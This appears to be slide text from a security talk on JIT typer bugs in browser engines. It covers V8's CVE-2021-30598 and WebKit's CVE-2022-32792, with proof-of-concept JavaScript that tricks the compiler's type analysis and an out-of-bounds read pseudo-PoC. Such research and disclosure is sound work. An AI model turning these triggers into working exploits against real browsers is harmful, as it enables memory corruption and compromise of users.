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$ whoami

• Student/CTF-Player/Independant Vulnerability Researcher
• @_manfp
• Pwn2Own Vancouver with Linux, Firefox, Safari
• First time speaker, please be gentle
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An Example Program

function foo(x) {
let obj = {a:5};
return ((x&5)&obj.a) + (1&2);

}
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An Example Program

function foo(x) {
let obj = {a:5};
return ((x&5)&obj.a) + (1&2);

}

sar rdx, 1
and rdx, 5
lea rax, [rdx+rdx]
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Bounds-Checks Elimination

Array accesses need costly bounds checks:

return [1,3,3,7][a&3];

⇓

int idx = a&3;
if (idx < 0 || idx >= 4) {

return undefined;
} else {

return *(array + idx);
}
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Bounds-Checks Elimination

Array accesses need costly bounds checks:

return [1,3,3,7][a&3];

⇓

return *(array + (a&3));
Typer results can be used to eliminate the checks!
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Bounds-Checks Elimination

Array accesses need costly bounds checks:

return [1,3,3,7][a&3];

⇓

return *(array + (a&3));
Typer results can be used to eliminate the checks!
(But not all browsers still do this)
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Exploiting the Typer

• Typer bugs are useful, but hard to find!

• What if we could use a bug in another stage?
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Bitwise Arithmetic in JavaScript

• Everything is a double!

• Except bitwise operators, which truncate to (signed) 32-bit

• Exception: logical right-shifts (>>>) convert the result to
unsigned 32-bit

• Shift amounts are modulo 32

• As in x86
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CVE-2021-30598

MachineOperatorReducer::TryMatchWord32Ror(Node* node) {
DCHECK(IrOpcode::kWord32Or == node->opcode() ||

IrOpcode::kWord32Xor == node->opcode());
...

// Recognize rotation, we are matching:
// * x << y | x >>> (32 - y) => x ror (32 - y)
// * x << (32 - y) | x >>> y => x ror y
// * x << y ^ x >>> (32 - y) => x ror (32 - y)
// * x << (32 - y) ^ x >>> y => x ror y
// as well as their commuted form.
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CVE-2021-30598: Root Cause

(x >>> y) | (x << (32-y))

• However, for y=0:
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CVE-2021-30598: Root Cause

(x >>> y) ^ (x << (32-y)) == ror(x, y)

• However, for y=0:
x ^ x == x
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CVE-2021-30598: Root Cause

(x >>> y) ^ (x << (32-y)) == ror(x, y)

• However, for y=0:
0 == x
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Exploiting the Typer...

function foo(x,y) {
x = x|0;
y = y|0;
return (x >>> y) ^ (x << (32-y));

}
console.log(foo(1337, 0));
for (var i = 0; i < 3e5; i++) foo(1337, 0);
console.log(foo(1337, 0));

26



Exploiting the Typer...

function foo(x,y) {
x = x|0;
y = y|0;
return (x >>> y) ^ (x << (32-y));

}
console.log(foo(1337, 0));
for (var i = 0; i < 3e5; i++) foo(1337, 0);
console.log(foo(1337, 0));

26



Exploiting the Typer...

function foo(x,y) {
x = x|0;
y = y|0;
return (x >>> y) ^ (x << (32-y));

}
console.log(foo(1337, 0));
for (var i = 0; i < 3e5; i++) foo(1337, 0);
console.log(foo(1337, 0));

$ d8 --trace-turbo foo.js
0
---------------------------------------------------
Begin compiling method foo using TurboFan
---------------------------------------------------
Finished compiling method foo using TurboFan
1337 26
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Typer Logic for XOR

Type OperationTyper::NumberBitwiseXor(Type lhs, Type rhs) {
...
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
...
double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
if ((lmin >= 0 && rmin >= 0) || (lmax < 0 && rmax < 0)) {
return Type::Unsigned31();

}
if ((lmax < 0 && rmin >= 0) || (lmin >= 0 && rmax < 0)) {
return Type::Negative32();

}
return Type::Signed32();

}
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Possible Result Types

left < 0 left ≥ 0

right < 0 left^right ≥ 0 left^right < 0

right ≥ 0 left^right < 0 left^right ≥ 0
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Typer Logic for Bit-Shifts

Type OperationTyper::NumberShiftLeft(Type lhs, Type rhs) {
...
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
...
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;

}
...
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Typer Logic for Bit-Shifts

• The Typer cannot make sense of rhs = 32...

• Fortunately, there is a fix in the case of <<:

• (-1) << y is negative for all y
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Fixing the right Side

function foo(y) {
let x = -1;
y = y | 0;
let left = x >>> y;
let right = x << (32-y);
return left ^ right;

}
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Fixing the right Side

function foo(y) {
let x = -1;
y = y | 0;
let left = x >>> y;
let right = x << (32-y);
return left ^ right;

}

31



Issues with left

• There are two issues with the left side:

• Need to know that y=0
• The right-shift works with unsigned 32-bit integers
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Setting y = 0

function foo() {
let x = 2**32-1;
let y = 0;
return x >>> y;

}
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Setting y = 0

function foo() {
let x = 2**32-1;
let y = 0;
return x >>> y;

}
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What the Typer (doesn’t) know

Typer knows value Typer doesn’t know value

Is a constant

Isn’t a constant
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What the Typer (doesn’t) know

Typer knows value Typer doesn’t know value

Is a constant 42

Isn’t a constant ??? arg
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Abusing Speculation

• Typer can make speculative assumptions

• E.g.: If a value is observed to always be a number, assume
it is

• This is backed up by runtime checks.
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Abusing Speculation

• Typer can make speculative assumptions
• E.g.: If a value is observed to always be a number, assume
it is

• This is backed up by runtime checks.

(arg ? 1337 : "") + 0
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What the Typer (doesn’t) know

Typer knows value Typer doesn’t know value

Is a constant 42

Isn’t a constant (arg?42:"")+0 arg
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Fixing the left Side

function foo(arg) {
let x = 2**32-1;
let y = (arg ? 0 : "") + 0;
return x >>> y;

}
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Fixing the unsigned Output

• The unsigned shift is still typed to 232 − 1, but we need
something negative

• Fix it by another “truncation trick”?
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Fixing the unsigned Shift?

function foo(arg) {
let x = 2**32-1;
let y = (arg ? 0 : "") + 0;
return (x >>> y) - 2**32;

}
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Fixing the unsigned Output

• The unsigned shift is still typed to 232 − 1, but we need
something negative

• Fix it by another “truncation trick”?
• Unfortunately, the Typer now decides to do some
constant-folding on its own...

• What if the Typer didn’t know the exact constant?
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Abusing Load Elimination

function foo() {
let obj = {c: 0};
return obj.c & 1;

}
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What the Typer (doesn’t) know

Typer knows value Typer doesn’t know value

Is a constant 42 {c:42}.c

Isn’t a constant (arg?42:"")+0 arg
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Fixing the unsigned Shift

function foo(arg) {
let x = 2**32-1;
let y = (arg ? 0 : "") + 0;
let val = 2**32 + ({c:0}.c&1);
return (x >>> y) - val;

}
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Putting it all together...

function foo(arg) {
let y = (arg ? 0 : "") + 0;
let val = 2**32 + ({c:0}.c&1);
let left = ((2**32-1) >>> y) - val;
let right = (-1) << (32-y);
return left^right;

}
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Putting it all together...

function foo(arg) {
let y = (arg ? 0 : "") + 0;
let val = 2**32 + ({c:0}.c&1);
let left = ((2**32-1) >>> y) - val;
let right = (-1) << (32-y);
return left^right;

}

$ d8 --trace-turbo poc.js
0
---------------------------------------------------
Begin compiling method foo using TurboFan
---------------------------------------------------
Finished compiling method foo using TurboFan
-1
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Putting it all together...

function foo(arg) {
let y = (arg ? 0 : "") + 0;
let val = 2**32 + ({c:0}.c&1);
let left = ((2**32-1) >>> y) - val;
let right = (-1) << (32-y);
return left^right;

}
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CVE-2022-32792: A “time-traveling” Safari Bug

• WebKit’s late-stage optimization (B3) has its own
“mini-Typer”

• No BCE

• Only elimination of overflow checks

• But earlier RangeAnalysis stage does BCE
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CVE-2022-32792: Root Cause

Type analysis for sign-extension:

IntRange rangeFor(Value* value, unsigned timeToLive = 5){
...
switch (value->opcode()) {
...
case SExt8:
return rangeFor(value->child(0), timeToLive - 1);

...
}

}
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CVE-2022-32792: Root Cause

void reduceValueStrength() {
...
// Turn this: SShr(Shl(value, 24), 24)
// Into this: SExt8(value)
...

}

49



Triggering the Bug

let x = (a&7)+256; // Range: [256, 256+7]
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Triggering the Bug
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Triggering the Bug

let x = (a&7)+256; // Range: [256, 256+7]
x = (x<<24)>>24; // B3: [256, 256+7]; Reality: [0, 7]
x -= 256; // B3: [0, 7]; Reality: [-256, -249]
x -= 2**31-255;
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Out-of-bounds (pseudo-)PoC

function oobRead(array, a) {
let x = (a&7) + 255;
x = (x<<24)>>24;
x -= 256;
if (x < array.length) {
x -= 2**31 - 255; // Underflow happens here!
if (x > 0) {
return array[x];

}
}

}
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Questions?
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